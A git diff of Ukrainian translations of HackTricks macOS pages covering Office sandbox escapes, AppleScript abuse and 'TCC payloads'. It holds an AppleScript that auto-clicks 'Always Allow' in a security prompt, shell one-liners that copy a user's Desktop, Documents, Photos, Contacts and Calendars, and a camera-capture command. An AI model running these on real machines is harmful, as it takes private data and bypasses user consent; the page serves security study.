* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
```
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,76 +1,78 @@
|
|||
# Пропуски пісочниці macOS Office
|
||||
# macOS Office Sandbox Bypasses
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Пропуск пісочниці Word через запуск агентів
|
||||
### Word Sandbox bypass via Launch Agents
|
||||
|
||||
Додаток використовує **власну пісочницю** з дозволом **`com.apple.security.temporary-exception.sbpl`**, і ця власна пісочниця дозволяє записувати файли будь-де, поки ім'я файлу починається з `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
Застосунок використовує **кастомний Sandbox** з правом **`com.apple.security.temporary-exception.sbpl`**, і цей кастомний пісочниця дозволяє записувати файли будь-де, якщо ім'я файлу починається з `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
|
||||
Отже, втеча була настільки простою, як **запис `plist`** LaunchAgent у `~/Library/LaunchAgents/~$escape.plist`.
|
||||
Отже, втеча була такою ж легкою, як **запис `plist`** LaunchAgent у `~/Library/LaunchAgents/~$escape.plist`.
|
||||
|
||||
Перевірте [**оригінальний звіт тут**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
||||
|
||||
### Пропуск пісочниці Word через елементи входу та zip
|
||||
### Word Sandbox bypass via Login Items and zip
|
||||
|
||||
Пам'ятайте, що після першої втечі Word може записувати довільні файли, ім'я яких починається з `~$`, хоча після попередньої уразливості вже не було можливості записувати в `/Library/Application Scripts` або в `/Library/LaunchAgents`.
|
||||
Пам'ятайте, що з першої втечі Word може записувати довільні файли, ім'я яких починається з `~$`, хоча після виправлення попередньої уразливості не було можливості записувати в `/Library/Application Scripts` або в `/Library/LaunchAgents`.
|
||||
|
||||
Було виявлено, що з пісочниці можна створити **Елемент входу** (додатки, які виконуватимуться при вході користувача). Однак ці додатки **не виконаються**, якщо вони **не підписані** і **неможливо додати аргументи** (тому ви не можете просто запустити зворотний shell, використовуючи **`bash`**).
|
||||
Було виявлено, що зсередини пісочниці можливо створити **Login Item** (додатки, які виконуються, коли користувач входить в систему). Однак ці додатки **не виконуватимуться, якщо** вони **не підписані** і **неможливо додати аргументи** (тому ви не можете просто запустити зворотний шелл, використовуючи **`bash`**).
|
||||
|
||||
Після попереднього пропуску пісочниці Microsoft відключив можливість записувати файли в `~/Library/LaunchAgents`. Однак було виявлено, що якщо помістити **zip-файл як Елемент входу**, `Archive Utility` просто **розпакує** його у поточному місці. Оскільки за замовчуванням папка `LaunchAgents` з `~/Library` не створюється, було можливо **заархівувати plist у `LaunchAgents/~$escape.plist`** і **розмістити** zip-файл у **`~/Library`**, тому після розпакування він дістанеться до місця постійного збереження.
|
||||
З попередньої втечі з пісочниці Microsoft відключив можливість запису файлів у `~/Library/LaunchAgents`. Однак було виявлено, що якщо ви помістите **zip-файл як Login Item**, `Archive Utility` просто **розпакує** його в його поточному місці. Тому, оскільки за замовчуванням папка `LaunchAgents` з `~/Library` не створюється, було можливим **запакувати plist у `LaunchAgents/~$escape.plist`** і **помістити** zip-файл у **`~/Library`**, щоб при розпакуванні він досягнув місця збереження.
|
||||
|
||||
Перевірте [**оригінальний звіт тут**](https://objective-see.org/blog/blog\_0x4B.html).
|
||||
|
||||
### Пропуск пісочниці Word через елементи входу та .zshenv
|
||||
### Word Sandbox bypass via Login Items and .zshenv
|
||||
|
||||
(Пам'ятайте, що після першої втечі Word може записувати довільні файли, ім'я яких починається з `~$`).
|
||||
(Пам'ятайте, що з першої втечі Word може записувати довільні файли, ім'я яких починається з `~$`).
|
||||
|
||||
Однак попередня техніка мала обмеження: якщо папка **`~/Library/LaunchAgents`** існує через те, що інші програми створили її, вона не працюватиме. Тому для цього було виявлено інший ланцюжок Елементів входу.
|
||||
Однак попередня техніка мала обмеження: якщо папка **`~/Library/LaunchAgents`** існує, тому що інше програмне забезпечення створило її, це призведе до збою. Тому для цього було виявлено інший ланцюг Login Items.
|
||||
|
||||
Атакуючий може створити файли **`.bash_profile`** та **`.zshenv`** з навантаженням для виконання, а потім заархівувати їх і **записати zip-файл у папку користувача жертви**: **`~/~$escape.zip`**.
|
||||
Зловмисник міг створити файли **`.bash_profile`** і **`.zshenv`** з корисним навантаженням для виконання, а потім запакувати їх і **записати zip у папку користувача жертви**: **`~/~$escape.zip`**.
|
||||
|
||||
Потім додайте zip-файл до **Елементів входу**, а потім до додатку **`Terminal`**. Коли користувач знову увійде в систему, zip-файл буде розпакований у файли користувача, перезаписуючи **`.bash_profile`** та **`.zshenv`**, і, отже, термінал виконає один з цих файлів (залежно від того, чи використовується bash чи zsh).
|
||||
Потім додайте zip-файл до **Login Items** і потім до **додатка Terminal**. Коли користувач повторно входить, zip-файл буде розпакований у файлі користувача, перезаписуючи **`.bash_profile`** і **`.zshenv`**, і, отже, термінал виконає один з цих файлів (в залежності від того, чи використовується bash або zsh).
|
||||
|
||||
Перевірте [**оригінальний звіт тут**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
||||
|
||||
### Пропуск пісочниці Word за допомогою Open та змінних середовища
|
||||
### Word Sandbox Bypass with Open and env variables
|
||||
|
||||
З процесів у пісочниці все ще можна викликати інші процеси за допомогою утиліти **`open`**. Більше того, ці процеси будуть працювати **в межах власної пісочниці**.
|
||||
З пісочницьких процесів все ще можливо викликати інші процеси, використовуючи утиліту **`open`**. Більше того, ці процеси будуть виконуватися **в межах їх власної пісочниці**.
|
||||
|
||||
Було виявлено, що утиліта open має опцію **`--env`** для запуску програми з **конкретними змінними середовища**. Тому було можливо створити файл **`.zshenv` у папці** **всередині** **пісочниці** і використовувати `open` з `--env`, встановлюючи змінну **`HOME`** на цю папку, відкриваючи додаток `Terminal`, який виконає файл `.zshenv` (з якоїсь причини також було потрібно встановити змінну `__OSINSTALL_ENVIROMENT`).
|
||||
Було виявлено, що утиліта open має опцію **`--env`** для запуску програми з **конкретними змінними середовища**. Отже, було можливим створити **файл `.zshenv`** у папці **всередині** **пісочниці** і використовувати `open` з `--env`, встановлюючи **змінну `HOME`** на цю папку, відкриваючи додаток `Terminal`, який виконає файл `.zshenv` (з якоїсь причини також було потрібно встановити змінну `__OSINSTALL_ENVIROMENT`).
|
||||
|
||||
Перевірте [**оригінальний звіт тут**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
||||
|
||||
### Пропуск пісочниці Word за допомогою Open та stdin
|
||||
### Word Sandbox Bypass with Open and stdin
|
||||
|
||||
Утиліта **`open`** також підтримувала параметр **`--stdin`** (і після попереднього пропуску вже не було можливо використовувати `--env`).
|
||||
Утиліта **`open`** також підтримувала параметр **`--stdin`** (і після попередньої втечі більше не було можливості використовувати `--env`).
|
||||
|
||||
Справа в тому, що навіть якщо **`python`** був підписаний Apple, він **не виконає** сценарій з атрибутом **`quarantine`**. Однак було можливо передати йому сценарій з stdin, тому він не перевірятиме, чи був він у карантині чи ні: 
|
||||
Справа в тому, що навіть якщо **`python`** був підписаний Apple, він **не виконає** скрипт з атрибутом **`quarantine`**. Однак було можливим передати йому скрипт з stdin, тому він не перевірить, чи був він під карантином чи ні: 
|
||||
|
||||
1. Скиньте файл **`~$exploit.py`** з довільними командами Python.
|
||||
2. Запустіть _open_ **`–stdin='~$exploit.py' -a Python`**, який запускає додаток Python з нашим файлом, що служить йому в якості стандартного вводу. Python з радістю виконує наш код, і оскільки він є дочірнім процесом _launchd_, він не обмежений правилами пісочниці Word.
|
||||
2. Запустіть _open_ **`–stdin='~$exploit.py' -a Python`**, що запускає додаток Python з нашим скинутим файлом, що служить його стандартним введенням. Python з радістю виконує наш код, і оскільки це дочірній процес _launchd_, він не підпорядковується правилам пісочниці Word.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# macOS Сценарії Apple
|
||||
# macOS Apple Scripts
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Сценарії Apple
|
||||
## Apple Scripts
|
||||
|
||||
Це мова сценаріїв, яка використовується для автоматизації завдань **взаємодії з віддаленими процесами**. Вона дозволяє досить легко **запитувати інші процеси виконувати певні дії**. **Шкідливе програмне забезпечення** може зловживати цими можливостями, щоб використовувати функції, експортовані іншими процесами.\
|
||||
Наприклад, шкідливе програмне забезпечення може **впроваджувати довільний JS-код на відкриті сторінки браузера**. Або **автоматично клацати** деякі дозволи, запитані користувачем;
|
||||
Це мова сценаріїв, що використовується для автоматизації завдань **взаємодії з віддаленими процесами**. Вона дозволяє досить легко **просити інші процеси виконувати певні дії**. **Шкідливе ПЗ** може зловживати цими функціями для зловживання функціями, експортованими іншими процесами.\
|
||||
Наприклад, шкідливе ПЗ може **впроваджувати довільний JS код у відкриті сторінки браузера**. Або **автоматично натискати** деякі дозволи, запитані у користувача;
|
||||
```applescript
|
||||
tell window 1 of process "SecurityAgent"
|
||||
click button "Always Allow" of group 1
|
||||
end tell
|
||||
```
|
||||
Ось деякі приклади: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
Знайдіть більше інформації про шкідливе програмне забезпечення, яке використовує скрипти Apple [**тут**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
|
||||
Ось кілька прикладів: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
Знайдіть більше інформації про шкідливе ПЗ, що використовує applescripts [**тут**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
|
||||
|
||||
Скрипти Apple можуть бути легко "**компільовані**". Ці версії можуть бути легко "**декомпільовані**" за допомогою `osadecompile`
|
||||
Apple скрипти можуть бути легко "**скомпільовані**". Ці версії можуть бути легко "**декомпільовані**" за допомогою `osadecompile`
|
||||
|
||||
Однак ці скрипти також можуть бути **експортовані як "Тільки для читання"** (через опцію "Експорт..."):
|
||||
Однак ці скрипти також можуть бути **експортовані як "Тільки для читання"** (через опцію "Експортувати..."):
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
|
@ -37,18 +38,19 @@ mal.scpt: AppleScript compiled
|
|||
```
|
||||
і в цьому випадку вміст не може бути декомпільований навіть за допомогою `osadecompile`
|
||||
|
||||
Однак є деякі інструменти, які можна використовувати для розуміння цих виконуваних файлів, [**прочитайте це дослідження для отримання додаткової інформації**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Інструмент [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) з [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) буде дуже корисним для розуміння того, як працює сценарій.
|
||||
Однак все ще існують деякі інструменти, які можна використовувати для розуміння таких виконуваних файлів, [**прочитайте це дослідження для отримання додаткової інформації**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Інструмент [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) з [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) буде дуже корисним для розуміння того, як працює скрипт.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Пакети macOS TCC
|
||||
# macOS TCC Payloads
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Робочий стіл
|
||||
### Desktop
|
||||
|
||||
* **Права доступу**: Немає
|
||||
* **Entitlement**: Немає
|
||||
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||
|
||||
{% tabs %}
|
||||
|
@ -56,7 +57,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Скопіюйте `$HOME/Desktop` в `/tmp/desktop`.
|
||||
Скопіюйте `$HOME/Desktop` до `/tmp/desktop`.
|
||||
```bash
|
||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||
```
|
||||
|
@ -65,7 +66,7 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
|||
|
||||
### Документи
|
||||
|
||||
* **Право доступу**: Немає
|
||||
* **Право**: Немає
|
||||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||
|
||||
{% tabs %}
|
||||
|
@ -105,7 +106,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Скопіюйте `$HOME/`Documents в `/tmp/documents`.
|
||||
Скопіюйте `$HOME/`Documents до `/tmp/documents`.
|
||||
```bash
|
||||
cp -r "$HOME/Documents" "/tmp/documents"
|
||||
```
|
||||
|
@ -114,7 +115,7 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
|||
|
||||
### Завантаження
|
||||
|
||||
* **Права доступу**: Немає
|
||||
* **Право**: Немає
|
||||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||
|
||||
{% tabs %}
|
||||
|
@ -154,7 +155,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Скопіюйте `$HOME/Dowloads` в `/tmp/downloads`.
|
||||
Скопіюйте `$HOME/Dowloads` до `/tmp/downloads`.
|
||||
```bash
|
||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||
```
|
||||
|
@ -163,12 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
|
|||
|
||||
### Бібліотека фотографій
|
||||
|
||||
* **Повноваження**: `com.apple.security.personal-information.photos-library`
|
||||
* **Право**: `com.apple.security.personal-information.photos-library`
|
||||
* **TCC**: `kTCCServicePhotos`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Скопіюйте `$HOME/Pictures/Photos Library.photoslibrary` в `/tmp/photos`.
|
||||
Скопіюйте `$HOME/Pictures/Photos Library.photoslibrary` до `/tmp/photos`.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -203,7 +204,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Скопіюйте `$HOME/Pictures/Photos Library.photoslibrary` в `/tmp/photos`.
|
||||
Скопіюйте `$HOME/Pictures/Photos Library.photoslibrary` до `/tmp/photos`.
|
||||
```bash
|
||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||
```
|
||||
|
@ -212,7 +213,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
|||
|
||||
### Контакти
|
||||
|
||||
* **Право доступу**: `com.apple.security.personal-information.addressbook`
|
||||
* **Право**: `com.apple.security.personal-information.addressbook`
|
||||
* **TCC**: `kTCCServiceAddressBook`
|
||||
|
||||
{% tabs %}
|
||||
|
@ -252,7 +253,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Скопіюйте `$HOME/Library/Application Support/AddressBook` в `/tmp/contacts`.
|
||||
Скопіюйте `$HOME/Library/Application Support/AddressBook` до `/tmp/contacts`.
|
||||
```bash
|
||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||
```
|
||||
|
@ -261,7 +262,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
|||
|
||||
### Календар
|
||||
|
||||
* **Повноваження**: `com.apple.security.personal-information.calendars`
|
||||
* **Право**: `com.apple.security.personal-information.calendars`
|
||||
* **TCC**: `kTCCServiceCalendar`
|
||||
|
||||
{% tabs %}
|
||||
|
@ -301,7 +302,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Скопіюйте `$HOME/Library/Calendars` в `/tmp/calendars`.
|
||||
Скопіюйте `$HOME/Library/Calendars` до `/tmp/calendars`.
|
||||
```bash
|
||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||
```
|
||||
|
@ -310,12 +311,12 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
|||
|
||||
### Камера
|
||||
|
||||
* **Право доступу**: `com.apple.security.device.camera`
|
||||
* **Право**: `com.apple.security.device.camera`
|
||||
* **TCC**: `kTCCServiceCamera`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC - Запис" %}
|
||||
Записати відео тривалістю 3 секунди та зберегти його у **`/tmp/recording.mov`**
|
||||
Записати 3-секундне відео та зберегти його в **`/tmp/recording.mov`**
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -394,8 +395,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - Перевірка" %}
|
||||
Перевірте, чи програма має доступ до камери.
|
||||
{% endtab %}
|
||||
Перевірте, чи має програма доступ до камери.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -428,7 +428,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Зробіть фото з камери
|
||||
Зробіть фото за допомогою камери
|
||||
```bash
|
||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||
```
|
||||
|
@ -437,12 +437,12 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
